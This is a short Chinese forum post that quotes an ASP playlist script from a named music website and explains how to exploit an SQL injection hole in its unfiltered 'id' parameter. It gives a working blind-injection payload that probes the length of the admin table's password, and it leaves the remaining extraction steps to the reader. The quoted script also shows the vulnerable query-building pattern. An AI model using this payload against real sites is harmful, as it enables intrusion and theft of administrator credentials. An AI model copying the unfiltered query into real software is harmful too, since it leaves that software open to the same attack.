|
别人丢来一段代码
以下是引用片段: <!--#include file="../user/conn.asp"--> <!--#include file="Path.Asp"--> <ASX version = "3.0"> <% id1=replace(request("id"),"","") if id1<>"" then set rs=server.createobject("adodb.recordset") id=id1 sql="select * from MusicList where id in (" & id & ")" rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 rs.update songpath=rs("song_path") If songpath="" or IsNull(songpath) Then songpath=1 End If select Case songpath Case 1 song_path=song_path1 Case 2 song_path=song_path2 Case 3 song_path=song_path3 Case 4 song_path=song_path4 Case 5 song_path=song_path5 Case 6 song_path=song_path6 Case 7 song_path=song_path7 End select song_path=song_path&rs("Wma")
while not rs.eof %> <entry SKIPIFREF="NO"> <title><%=rs("Musicname")%></title> <author>www.lgrx.com.cn</author> <copyright>歌手和唱片公司所有</copyright> <ref href="<%=song_path%>"/> <param name="Artist" value="<%=rs("Singer")%>"/> <param name="Album" value="娱人音乐网 <%=rs("hits")%>人气"/> <param name="Title" value="<%=rs("Musicname")%>"/> </ENTRY> <% rs.movenext wend rs.Close set rs=nothing end if conn.close set conn=nothing %> </ASX> | | 注意id,基本没过滤放到sql语句里,很简单是么?但是
rs("hits")=rs("hits")+1 rs.update |
这样决定了不能union查询,因为union出来的是不可写的.....那么只能经典注射了
前后的保证出来的有记录,加上中间加我们自己的sql语句,就可以注射了.这里关键表是admin,字段有 password , username
那么就可以这样了
id=1) and (select top 1 len(password) from admin)=16 and 1 in (1
| 正常返回,语句为真,那么这个密码估计被md5了
后面的不说了 自己猜吧 |
|